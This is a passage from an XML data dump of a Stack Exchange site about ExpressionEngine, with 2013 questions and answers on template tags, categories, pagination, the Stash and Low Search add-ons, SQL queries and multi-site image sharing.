recommend the latter for better SEO. No need to have both the entry id and the url title in there unless you're pulling content from more than one channel (url titles ARE allowed to be duplicated for entries in different channels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your third template you then don't need &lt;code&gt;entry_id=&quot;{segment_3}&quot;&lt;/code&gt; (or &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt;) as this will be automatically assumed in the absence of &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TyAtO.png&quot; alt=&quot;ExpressionEngine URL Schematic&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-07-05T00:42:31.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11704" PostTypeId="2" ParentId="10241" CreationDate="2013-07-05T04:08:32.940" Score="0" Body="&lt;p&gt;Thanks for the tip! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encountered a similar problem while updating from EE 2.5.5 to EE 2.6.1, and changing the name of the third_party add-ons folder did indeed enable me to complete the update, but unfortunately I did not get to complete the survey. Pity!&lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2013-07-05T04:08:32.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11706" PostTypeId="2" ParentId="5214" CreationDate="2013-07-05T07:17:07.523" Score="1" Body="&lt;p&gt;was having the exact same problem with ee2.6.1 and assets2.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some deeper digging i found out assets created a new entry in the exp_assets_folders table where it remapped my parent directory to a new entry while deleting the orignal entry. Because of this all the other entrys where referring to the wrong parent_id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually corrected this problem and that seemed to fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-07-05T07:17:07.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11708" PostTypeId="2" ParentId="11671" CreationDate="2013-07-05T11:15:46.047" Score="0" Body="&lt;p&gt;Whilst it's possible to achieve what you're looking for via any number of techniques (htaccess, pages module, convoluted embeds), I wouldn't recommend doing this at all. You'll end up fighting against EE the whole way, and if the site grows in complexity you'll have a maintenance nightmare on your hands. At a minimum, you'll need to specify a template in segment 1 and an entry in segment 2, so /items/item/dates&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-07-05T11:15:46.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11709" PostTypeId="1" AcceptedAnswerId="11714" CreationDate="2013-07-05T11:50:13.033" Score="2" ViewCount="257" Body="&lt;p&gt;I have content entries in a channel called resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources primary categories are whitepapers and downloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondarily, the entries are categorized by &quot;brand&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is grab the current category id (e.g. downloads) but then display the entries grouped by &quot;brand&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_heading channel=&quot;resources&quot;}&#xA;{!--grab main category we're viewing. E.g. we're viewing &quot;downloads&quot; in the &quot;resources&quot; channel--}&#xA;&amp;lt;?php $category = '{category_id}'; ?&amp;gt;&#xA;{/exp:channel:category_heading}&#xA;&#xA;{!-- loop through the brands --}&#xA;{exp:channel:categories category_group=&quot;2&quot; show_empty=&quot;no&quot;}&#xA;&#xA;    &amp;lt;h2 style=&quot;float:left; clear:both; width:100%;&quot;&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;&#xA;    {!-- now display entries from this main category (e.g. downloads) that are also categorized under the current brands --}&#xA;    {exp:channel:entries category=&quot;&amp;lt;?php echo $category; ?&amp;gt; &amp;amp; {category_id}&quot; channel=&quot;resources&quot; disable=&quot;member_data|pagination|trackbacks&quot;}&#xA;&#xA;        &amp;lt;a href=&quot;{pdf}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where it says $category and category_id, only recognizing the latter. I can accurately print the $category to screen in the loop but the category= filter doesn't recognize it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2013-07-09T15:48:20.683" Title="How to display entries from current category grouped by another category" Tags="|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11711" PostTypeId="1" AcceptedAnswerId="11715" CreationDate="2013-07-05T13:49:39.343" Score="1" ViewCount="79" Body="&lt;p&gt;I have a primary domain on a server then a secondary domain also on the same server. Using MSM, I setup the secondary site and things seem to be running smoothly except one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second site primarily mirrors the first site's content but with a different look/feel. I'm using channel entries from the primary site on the secondary site in some cases but have some issues with image assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that in some cases I can use the site1.com's assets by just using the absolute url. But, if the image was uploaded within a field, there isn't the ability to just put &quot;&lt;a href=&quot;http://site1.com&quot; rel=&quot;nofollow&quot;&gt;http://site1.com&lt;/a&gt;...&quot; in front of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any sort of automatic way to have my image url's on site2.com point towards the folder on site1.com?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, I'm using Media Temple (gs) for hosting.&lt;/p&gt;&#xA;" OwnerUserId="1595" LastActivityDate="2013-08-04T17:56:58.887" Title="How do I use uploaded images from primary MSM site on other site?" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11712" PostTypeId="1" CreationDate="2013-07-05T14:42:35.153" Score="0" ViewCount="74" Body="&lt;p&gt;I'm using Wygwam and it is inserting extra space into paragraphs which is making text display with an extra line top and bottom. If I click to Source view in the ee control panel, I can manually remove this and submit, then the text displays correctly. Any help would be appreciated. I'm on EE v2.6.1 and Wygwam 2.7.1. Cheers&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-10-06T09:51:44.380" Title="Spaces being inserted into paragraph text when using Wygwam" Tags="|wygwam|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11713" PostTypeId="2" ParentId="11712" CreationDate="2013-07-05T15:54:50.110" Score="0" Body="&lt;p&gt;Can you replicate the behavior on &lt;a href=&quot;http://ckeditor.com/demo&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/demo&lt;/a&gt;?  If so, then it's CKEditor behavior and there isn't much we can do to affect it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-07-05T15:54:50.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11714" PostTypeId="2" ParentId="11709" CreationDate="2013-07-05T16:19:16.007" Score="0" Body="&lt;p&gt;It looks like you have a mix of using php on input and output in the same template. Output while setting $category (EE tags run first, then output {category_id} for use in php), and input while echoing $category (PHP runs first and outputs $category as a string for use in an EE tag). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll only be able to set the template for one or the other. You could use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to set the variables instead of php, or move the interior channel entries to an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;main_category_id&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:category_heading channel=&quot;resources&quot;}&#xA;        {category_id}&#xA;    {/exp:channel:category_heading}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:categories category_group=&quot;2&quot; show_empty=&quot;no&quot;}&#xA;    &amp;lt;h2 style=&quot;float:left; clear:both; width:100%;&quot;&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;&#xA;    {exp:channel:entries &#xA;        category=&quot;{exp:stash:get name='main_category_id'}&amp;amp;{category_id}&quot; &#xA;        channel=&quot;resources&quot; &#xA;        disable=&quot;member_data|pagination&quot; &#xA;        status=&quot;not closed&quot; &#xA;        dynamic=&quot;no&quot; &#xA;        parse=&quot;inward&quot;&#xA;    }&#xA;        &amp;lt;a href=&quot;{pdf}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-07-08T16:54:31.407" LastActivityDate="2013-07-08T16:54:31.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11715" PostTypeId="2" ParentId="11711" CreationDate="2013-07-05T17:10:53.863" Score="1" Body="&lt;p&gt;We have done this using symlinks on the server filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to post some details about the server path to the site root on for both sites along with some paths for images I can give a more detailed solution.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-07-05T17:10:53.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11717" PostTypeId="1" AcceptedAnswerId="11719" CreationDate="2013-07-05T21:31:07.347" Score="0" ViewCount="164" Body="&lt;p&gt;I'm setting up a search using nested categories. So in category_grouy 5 I have 5 parent categories and a handful of nested child categories. Using the below returns all categories but parent searches return no results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;    {exp:channel:categories channel=&quot;attraction&quot; style=&quot;linear&quot; category_group=&quot;5&quot;}&#xA;        &amp;lt;option value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;            {category_name}&#xA;        &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this next section gives me the display I want but still the same problem. It's not returning any of the children.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;    {exp:channel:categories channel=&quot;attraction&quot; parent_only=&quot;yes&quot; style=&quot;linear&quot; category_group=&quot;5&quot;}&#xA;        &amp;lt;option value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;            {category_name}&#xA;        &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question: I can display parent categories, so how do I get Low Search to return sub categories when the parent is searched?&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-07-06T04:57:38.623" Title="Using low search to pull up child categories" Tags="|categories|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11718" PostTypeId="1" CreationDate="2013-07-05T22:04:51.167" Score="1" ViewCount="674" Body="&lt;p&gt;I have the following problem: &lt;br&gt;&#xA;- Let's say I'm on &lt;strong&gt;domain.com/en/support/manuals&lt;/strong&gt; &lt;br&gt;&#xA;- Using pagination I get the following URL on Page 2: &lt;strong&gt;domain.com/en/support/manuals/domain.com/en/support/manuals/P10&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Once I manually remove the duplicate part, it works just fine. Whats wrong here?&lt;br&gt;&#xA;&lt;br&gt;&#xA;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;manual&quot; limit=&quot;10&quot; paginate_base=&quot;support/manuals&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;      &amp;lt;a href=&quot;{manual_download}&quot;&amp;gt;&#xA;      {manual_relationship}&#xA;        {manual_relationship:title}&#xA;      {/manual_relationship}&#xA;      &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;span2&quot;&amp;gt;&#xA;      {categories}{category_name} {/categories}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;span2&quot;&amp;gt;&#xA;      {manual_size}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;hr&amp;gt;&#xA;&#xA;&#xA;  {paginate }&#xA;     &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;  {/paginate}&#xA;&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastEditorUserId="1736" LastEditDate="2013-07-05T23:07:11.850" LastActivityDate="2014-11-05T11:54:22.123" Title="Pagination - Base URL duplicate" Tags="|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11719" PostTypeId="2" ParentId="11717" CreationDate="2013-07-06T04:57:38.623" Score="1" Body="&lt;p&gt;Can you go to CP -&gt; Admin -&gt; Channel Administration -&gt; Global Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See hear if &quot;Auto-Assign Category Parents&quot; is selected as &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-06T04:57:38.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11721" PostTypeId="1" AcceptedAnswerId="11722" CreationDate="2013-07-06T16:51:56.097" Score="1" ViewCount="745" Body="&lt;p&gt;I have a relationship field, and I want to display entries only if they are NOT populated with the relationship.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;message&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; {gv_param_disable_default}}&#xA;        &amp;lt;ul&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            {series_association}&#xA;            here's what doesn't seem to be working --&amp;gt; {if series_association:title == no_results}&#xA;            &amp;lt;h3&amp;gt;&amp;lt;u&amp;gt;{title}&amp;lt;/u&amp;gt; - &amp;lt;i&amp;gt;&amp;lt;h5 class=&quot;inline-header&quot;&amp;gt;{message_date format='%F %j, %Y'}&amp;lt;/h5&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/h3&amp;gt; &#xA;            &amp;lt;p&amp;gt;{if message_speaker}&amp;lt;i&amp;gt;Speaker:&amp;lt;/i&amp;gt; {message_speaker}{/if}&#xA;            &amp;lt;p&amp;gt;{if message_scripture}&amp;lt;i&amp;gt;Scripture Reference:&amp;lt;/i&amp;gt; {message_scripture}{/if}&#xA;            &amp;lt;p&amp;gt;{message_summary}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;audio src=&quot;{message_audio}&quot; preload=&quot;none&quot; /&amp;gt;&#xA;            {/if}&#xA;            {/series_association}&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I code this to make it show only entries without a relationship?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-07-06T20:39:33.973" Title="If conditional to test if an entry does not have a relationship" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11722" PostTypeId="2" ParentId="11721" CreationDate="2013-07-06T20:39:33.973" Score="1" Body="&lt;p&gt;You can use no_results but like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if series_association:no_results}&#xA;    --- your content ---&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-06T20:39:33.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11723" PostTypeId="1" AcceptedAnswerId="11768" CreationDate="2013-07-06T23:19:00.673" Score="2" ViewCount="159" Body="&lt;p&gt;I need to sell &quot;events&quot; to registered members of my EE site. Requirements are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Admin shall be able to create an event. An event is defined as having a start date/time, maybe an end date/time, a venue for the event, and a description.&lt;/li&gt;&#xA;&lt;li&gt;Admin shall be able to set &quot;pricing rules&quot; for the event, primarily based around member details. For example, it's $0 for women, $10 for men, etc.&lt;/li&gt;&#xA;&lt;li&gt;Admin shall be able to set quotas for the the event, primarily based around member details. For example, allow 10 men and 10 women to register for the event. Or allow 20 members to register, regardless of gender. Etc.&lt;/li&gt;&#xA;&lt;li&gt;Allow members to register for the event. If the event requires payment, then process the member's payment.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a native EE addon for this? If not, is there some 3rd party addon I can look at?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="15" LastEditDate="2013-07-08T16:45:47.590" LastActivityDate="2013-07-08T18:12:45.547" Title="Events Addon? Need something like Meetup.com" Tags="|add-on|members|addons|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11724" PostTypeId="1" AcceptedAnswerId="11737" CreationDate="2013-07-07T05:43:09.220" Score="2" ViewCount="695" Body="&lt;p&gt;Does ExpressionEngine support the &quot;break&quot; functionality in its loops?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel entries&#xA;  channel=&quot;foo&quot;&#xA;}&#xA;  {if some_arbitrary_condition}&#xA;    {!-- Do Break(exit the loop) --}&#xA;  {/if}&#xA;{/exp:channel entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="7705" LastEditDate="2018-09-05T05:53:19.070" LastActivityDate="2018-09-05T05:53:19.070" Title="Loop Break functionality?" Tags="|loop|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11725" PostTypeId="1" AcceptedAnswerId="30090" CreationDate="2013-07-07T07:28:49.413" Score="2" ViewCount="115" Body="&lt;p&gt;I'm in the process of setting up a new member based site. I'm avoiding the Forum module as the templating system is difficult at best to style and many of the functions are overkill for our requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found many add-ons that help with PM, user settings, SAEF WYSIWYG, nice dates etc but the one thing I haven't found is just how to show each user the new entries AND new comments since their last visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spitting out a list of entries by last-comment date and by entry-date is fine but I'm really trying to highlight to each user, new info (comments or entries) since their last visit - think of it as &quot;un-read&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas or have done something similar have any pointers on how I can go about achieving this?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-19T01:31:22.287" Title="New items since last visit" Tags="|module|extension|how-to|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11726" PostTypeId="2" ParentId="11725" CreationDate="2013-07-07T11:01:32.487" Score="3" Body="&lt;p&gt;&lt;strong&gt;Since Last Visit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Attempts to point out various actions that have happened since a visitor's last visit to your site.&quot;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/since-last-visit&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/since-last-visit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you'd need to roll your own plugin that taps into the Session Class:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&lt;/a&gt;&#xA;Specifically looking at this variable: last_visit and then returning it to the template. You could then use it to display channel:entries by utilising the &quot;start_on&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas Comment tag outputs aren't as powerful :( the best I could find is using the exp:comment:entries tag:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/#displaying-recent-comments&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/comment/#displaying-recent-comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be again to create your own plugin that output a list of entry_id's or comment_id's (separated by |).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-07T11:01:32.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11727" PostTypeId="1" AcceptedAnswerId="11730" CreationDate="2013-07-07T12:54:07.907" Score="1" ViewCount="275" Body="&lt;p&gt;This doesn't give me an error, but it also doesn't display any results.  I'm trying to display only the entries that don't have a relationship.  My relationship field is field_id_57, and I only want to display entries from channel_id_30.  Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_channel_data WHERE field_id_57 IS NULL &amp;amp;&amp;amp; channel_id = '30'&quot;}&#xA;&#xA;content should display here&#xA;&#xA;{/exp:query{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-07-07T17:16:08.517" Title="SQL query syntax incorrect?" Tags="|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11728" PostTypeId="2" ParentId="2142" CreationDate="2013-07-07T13:07:20.620" Score="-1" Body="&lt;p&gt;Amasing extension that finally offers custom member groups during registration !!!&#xA;&lt;strong&gt;&lt;a href=&quot;http://knoun.com/addons/member-group-assigner.html&quot; rel=&quot;nofollow&quot;&gt;Member Group Assigner 2.1&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-07-07T13:07:20.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11729" PostTypeId="2" ParentId="7196" CreationDate="2013-07-07T13:24:34.930" Score="2" Body="&lt;p&gt;I've put together &lt;a href=&quot;https://github.com/simonjob/dropbox_chooser&quot; rel=&quot;nofollow&quot;&gt;dropbox_chooser&lt;/a&gt; which is a fieldtype. At the moment, it opens the Dropbox Chooser and allows you to pick a single file (whilst multiselect can work, I'm not sure how to output multiple links individually in a template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need an App Key from Dropbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no developer, but I needed this functionality.&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2013-07-07T13:24:34.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11730" PostTypeId="2" ParentId="11727" CreationDate="2013-07-07T17:16:08.517" Score="1" Body="&lt;p&gt;Since channel entry titles &amp;amp; data are stored in different tables, you will need to &lt;code&gt;inner join&lt;/code&gt; the two tables together to get the &lt;strong&gt;Title&lt;/strong&gt; of the entry. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ecd.entry_id,&#xA;ect.entry_id,&#xA;ect.title &#xA;FROM exp_channel_data AS ecd&#xA;INNER JOIN exp_channel_titles AS ect&#xA;ON ecd.entry_id = ect.entry_id&#xA;WHERE ecd.field_id_57 IS NULL&#xA;AND ecd.channel_id = '30'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-07-07T17:16:08.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11731" PostTypeId="2" ParentId="11725" CreationDate="2013-07-07T17:53:07.247" Score="1" Body="&lt;p&gt;You question isn't much clear to me but I think you should read this article &lt;a href=&quot;http://www.sidd3.com/calculating-member-since-time-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/calculating-member-since-time-in-expressionengine/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which can give a little pointer how to get last visit via SQL. I hope, it would help. Please share your further finding over it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-07T17:53:07.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11732" PostTypeId="2" ParentId="11697" CreationDate="2013-07-07T20:57:39.370" Score="1" Body="&lt;p&gt;There is nothing built into Store that would allow you to selectively choose when to update the mapped member fields based upon a conditional or checkbox functionality. You could create a little extension to enable that kind of functionality (available &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively and I have not tested something like this with Store you could use &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; which allows users to create multiple address profiles. Then in your templates you would have to manually create the store checkout fields so that you had&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; value=&quot;{profile_edit_field_for_billing_address1}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you were going to use this approach you would probably not want to have the member fields mapped.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-07T20:57:39.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11733" PostTypeId="1" CreationDate="2013-07-07T22:42:06.587" Score="1" ViewCount="86" Body="&lt;p&gt;I have the following relationship that I am trying to model in EE using Playa and Matrix plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Song List (has many Songs)&#xA;-&gt; Song (has many arrangements)&#xA;  -&gt; Arrangement (P&amp;amp;T asset field) - points to a .pdf in the file system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that the end user should be able to create a Song list that is composed of Songs, and each song can be represented by a number of Arrangements, each of which is an asset in the file system, represented by an P&amp;amp;T Asset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desire is that the back end user is able to create a song list by selecting a Song from a drop down list, and then select an arrangement based on the Song title. The user should be able to add multiple songs to the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m having trouble creating this in EE with Playa and Matrix.  Any thoughts on how I can do this?&lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2013-07-07T22:42:06.587" Title="Content Structure using Playa and Matrix" Tags="|matrix|playa|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11734" PostTypeId="1" AcceptedAnswerId="12105" CreationDate="2013-07-08T00:49:45.890" Score="0" ViewCount="103" Body="&lt;p&gt;I have a EE website with around 20+ member groups and members from each of the membership groups should only have access to browse (front end only) certain channels of the website after signing in (front end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Membership group 'College 1' and 'College 2' should only be allowed to view channel 'book3', 'book5' and 'book7' when they browse the website (front end). I can do it in the template with condition, but it might be a bit messy to update the templates every time I add/remove a member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to search for a solution, but have not found any yet, hopefully you have a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a function that is built-in in ExpressionEngine or if there are module you can recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1132" LastEditorUserId="1132" LastEditDate="2013-07-14T22:36:32.693" LastActivityDate="2013-07-19T09:33:41.230" Title="Member groups limited to view channels" Tags="|member-management|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11735" PostTypeId="2" ParentId="5057" CreationDate="2013-07-08T01:01:33.197" Score="3" Body="&lt;p&gt;I've done it on a site I worked on a while back. My memory isn't fresh, since it's been handed off to the client and my hands are completely off it, but I can tell you that it does work — it's just a bit tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As powerful and awesome as Zoo Visitor is, you have to remember that you are basically duplicating data from EE's native member database into its own channel, and therefore when a user is created via alternate means (like Facebook Connect), you have to then ensure that the user also gets a new entry in the Zoo Visitor channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds simple now, but you just have to invoke Zoo Visitor's sync tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:sync} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;…which frustratingly isn't mentioned in the official docs. I found out about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2395&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2395&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1741" 